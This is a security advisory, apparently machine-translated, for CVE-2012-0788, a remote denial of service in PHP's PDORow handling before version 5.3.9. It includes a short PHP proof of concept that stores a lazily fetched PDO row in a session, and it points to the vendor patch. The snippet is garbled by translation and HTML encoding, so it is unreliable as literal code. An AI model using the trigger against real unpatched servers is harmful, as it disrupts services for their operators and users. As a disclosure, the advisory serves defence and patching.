PHP PDORow Remote Denial of Service Vulnerability

Release date: 2012-03-24
Updated on: 2012-03-27

Affected Systems:
PHP <5.3.9
Description:
--------------------------------------------------------------------------------
Bugtraq id: 51952
Cve id: CVE-2012-0788

PHP is a script language running on a computer. It is mainly used to process dynamic web pages, including command line interfaces or graphical user interface programs.

The PDORow implementation in PHP versions earlier than 5.3.9 does not correctly interact with the session function. You can use a special application to allow remote attackers to cause DOS.

<* Source: vendor

Link: https://bugzilla.redhat.com/show_bug.cgi? Id = 783605
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

& Lt ;? Php

// Make a Pdo_Mysql statement before

$ Result = $ stmt-& gt; fetch (PDO: FETCH_LAZY );

Session_start ();

$ _ SESSION ['pdorow'] = $ result;
? & Gt;

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.php.net